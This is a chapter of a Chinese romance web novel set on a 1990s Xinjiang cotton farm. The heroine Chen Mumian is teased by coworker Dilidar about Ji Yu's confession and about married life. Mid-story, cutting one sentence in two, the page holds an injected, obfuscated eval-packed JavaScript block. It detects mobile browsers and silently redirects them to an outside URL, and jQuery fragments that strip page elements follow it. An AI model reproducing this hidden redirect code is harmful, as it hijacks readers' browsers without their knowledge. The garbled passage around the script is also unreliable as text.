28.棉害羞了
作品:《九零之我在新疆开桃园》 次日一早,季瑜便敲响车窗,轻声询问:“木棉,你们醒了吗?”
见有人回应,他才继续说道,“早饭我已经做好了,你们起来洗漱一下,我们等会儿就回去了。”
待二人起身,他拉开车门,带来了一股冷冽的寒气,陈木棉心里浮起一抹诧异,心想这人是不是昨天一整夜都待在外面,身上的寒气都能冻死人了,就算是铁打的身子也不能这么造啊。
正如陈木棉所猜想的那样,季瑜就那么躺在车外的毯子上,彻夜未眠。
他脑子像是有两个小人在打架,小黑人幸灾乐祸:“你到底喜欢陈木棉什么,想明白了吗就去和人家表白,果不其然被拒了吧。”
小白人忧心忡忡:“你知道上门女婿是什么意思吗?你可是老季家三代单传,等你爹从首都回来,知道你想干啥不得打死你。”
季瑜:难道就没有什么两全其美的办法吗,算了,还是等我爹回来了求他吧,他难道还能忍心让唯一的儿子打一辈子光棍吗。
再说了,孩子和老婆姓怎么了,不都是老季家的血脉嘛,姓什么根本不重要。
他小心地伺候着陈木棉吃完早膳,带上背景板的李翠萍,就一起启程回农场了。
路上,陈木棉和李翠萍有说有笑地聊着一些趣事,独留季瑜一个人沉默地开着车。
不是他不想加入,只是他发现每当他开口接话之后,陈木棉就像躲着他一样,有来无回。
慢慢他也只得悻悻地闭上了嘴,边开车边反思自己是不是哪里惹她不高兴了。
陈木棉倒也不是不高兴,只是觉得有些尴尬和不好意思,两人昨天晚上刚戳破了那层窗户纸,她现在只想躲到一个见不着季瑜的角落里,装蘑菇。
她昨天晚上睡得也不好,一想到自己之前还大言不惭地教对方怎么追人,她脸上就控制不住地想升起两抹红晕。
陈木棉:人怎么能这么蠢,我要没脸见人了。
不久后,季瑜把她们送回了棉花农场,就驱车离开了。
陈木棉和李翠萍回到帐篷内简单收拾了一下,便返回了各自的工作岗位上。李翠萍精力旺盛坐不住,喜欢走动,便继续去地头里摘棉花,陈木棉则去了仓库挑棉籽。
她和好友挥挥手道别,便背着军用水壶向仓库处走去,刚踏进大门,狄丽达尔就热情地招呼她过来。
狄丽达尔笑盈盈地打探道:“木棉你快说,你是不是和季瑜约会去了?”
陈木棉怔了一秒,面色微红,眼眸低垂,别扭道:“我们才不是去约会呢,是和我朋友三个人一起去玩的。”
“啊?”狄丽达尔闻言有些失望,据可靠消息来报,季瑜不是专门约陈木棉去约会,顺便表白的嘛,怎么还能多出来一个人。
她不死心地继续追问:“那他和你表白了吗?”
陈木棉手上认真干着活,十指翻飞,又快又准地把隐藏在白色棉絮中的小黑籽挑出来扔掉。她抿了抿唇,不知该怎么回答狄丽达尔的问题。
季瑜昨晚算是表白了,也算是没表白吧,他只是回忆了二人的交集,她就已经傻乎乎地开口说不合适了。
她想了想,轻声回复:“季瑜说他还没正式开口表白,等下次他彻底准备好了再来。”
狄丽达尔听得一头雾水,什么叫等准备好了再来,表个白而已,又不是要宰羊,需要先准备个仪式。
她抬手把碍事的辫子拨到脑后,直爽开口:“我和巴吐尔就是两个人在舞会上互相看对眼,然后一起去跳了支舞就在一起了,谈恋爱嘛有什么好准备的,你们汉人可真讲究。”
陈木棉语塞,试图替自己解释:“我们也不是讲究,就是我觉得两个人认识时间太短了,我都不知道他是不是真的喜欢我。”
狄丽达尔拍拍手上的棉絮,把陈木棉的身子转过来,伸手捏捏她还带着一点婴儿肥的脸蛋,语气夸张地说道:“丫头~你长得这么好看,眼睛也大大的,相信我,没有男人会不喜欢你的~”
陈木棉眨了眨浓密卷翘的睫毛,问道,“真的吗?”那为什么以前上学的时候都没人追过她。
陈木柏:因为那时候我还在家,那些黄毛小子哪敢出现在你面前。
狄丽达尔肯定地点点头,凑过来抱了抱她,“当然是真的了,我只恨我不是男人,不然我也要去追你了。”
狄丽达尔恋恋不舍的松开了手,不禁有些感慨:“要我说还是女人香香软软的抱起来舒服,男人有什么好的,一天天跟饿死鬼投胎一样,怎么喂都喂不饱,搞得我每天都腰酸背痛的……”
陈木棉纯净的眼神里闪过一丝不解,好学生不耻下问:“我没听懂你的意思,为什么说男人是饿死鬼投胎啊,是因为他们饭量大吗?”
狄丽达尔闻言爽朗一笑,促狭道,“哈哈哈,姐姐忘了你还小呢,听不懂很正常,等你结婚以后就明白啦!”说完她便起身活动了一下手脚,和对面的采摘工聊了起来。
只留陈木棉还坐在原地机械地挑选棉籽,思索狄丽达尔话里的深意。
笑谈间,正好阿依丽抱着一堆空的布袋子从两人身旁路过,狄丽达尔拦住她,“妈妈你给我留几个空的袋子,我们这边快用完了。”
阿依丽从怀里扯出来几个布袋子,递给儿媳,和陈木棉打了个招呼,就急匆匆地准备转身离开。
狄丽达尔面上难得闪过一丝羞涩,动作扭捏,嘴里的话却语出惊人:“妈妈你先别急着走啊,我有话和你说,你能不能和巴吐尔说说,让他晚上别一直闹我了,都影响我白天干活了。”
性格一向爽朗大方的阿依丽,也被自己儿媳这突如其来的大胆发言给惊着了,她连忙做贼似的瞧瞧四周的工人,扯着儿媳蹲下,小声说,“你不要命啦,这种事还敢说这么大声。”
狄丽达尔索性盘腿坐回了垫子上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028724|159496||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一手把玩着乌黑靓丽的小辫子,理直气壮地回复道:“我又没有做贼,为什么要心虚,再说了这事又不能怪我,都是巴吐尔的错。”
“好好好,都怪他,”阿依丽生怕她再说出什么不得了的话,连忙轻声安抚道,“男人刚开荤都是这样的,等过段时间就好了,你自己哄哄他节制一点,我是当妈的,我怎么和他说这种事啊。”
狄丽达尔不满地噘起嘴,皱了皱秀气挺翘的鼻子,“他根本就不听我的,还说要努力早点让我怀上崽子。”
阿依丽闻言欣慰一笑:“怀崽好啊,为我们家再添一个新成员,人丁兴旺才能福气长存。”
说完她狐疑地盯着儿媳的肚子看了两眼,关心道:“你最近没什么不舒服的地方吧,会不会已经怀上了。”
狄丽达尔皱眉,语气拉长撒娇:“妈妈你说什么呢,我们才结婚多久啊。”
阿依丽但笑不语,拍拍儿媳的肩膀,起身离开了。她准备回家给儿子和儿媳多做一些补汤,这样她才能早点抱到孙子和孙女。
阿依丽:想想都开心,说不定明年这个时候,我就已经是奶奶啦!
还在一旁沉迷干活,悄悄偷听婆媳对话的陈木棉,一直等到阿依丽都走了,才终于反应过来狄丽达尔此前话里的深意。
她脑子里“嗡”的一声,一朵烟花炸开,面红耳赤,她有些不自在地抬手捂住双颊,试图给自己降降温。
狄丽达尔正好转过身来,见她这副奇怪的样子,意识到她可能是听到自己刚刚和婆婆的对话了,挤眉弄眼道,“丫头你这就害羞啦,那以后结婚可怎么办呦,到时候你不得羞死啊哈哈~”
陈木棉继续捂住脸,嘟囔道:“我才没有害羞,我就是突然有些热,这里太闷了。对,就是因为仓库里太闷了。”
说完她便起身,借口自己要出去透气,狄丽达尔却还是不想放过她,笑眯眯地挽住她的胳膊,“我陪你一起去,我们继续聊聊你和季瑜的事儿呗,我教你怎么撩他。”
陈木棉闻言略带疑惑地看向她,她立马撇清关系,“我和季瑜什么关系都没有,就是单纯地做过几年同学,我和巴吐尔才是青梅竹马,他就是个普通同学。”
说话间两人已经走出了仓库,外面风和日丽,蔚蓝的天空上飘着两朵白云,一前一后,似在不停地追逐着。
狄丽达尔继续说:“季瑜小时候可好玩了,就喜欢装正经,现在也是,实际上亲近的人稍微一逗,他就破功了。”
“我是说比如巴吐尔,巴吐尔平时可喜欢逗季瑜玩了,他们俩是最好的兄弟。”
陈木棉感受着田间的微风,静静地听着季瑜童年的故事,脸上的红温也渐渐褪去,对男人的了解又多了几分。
狄丽达尔似是想起了什么,突然提起了季瑜的父亲,“他爸爸之前也是军人,转业回来在市里法院当官呢,可厉害了,听说最近就要回来了……”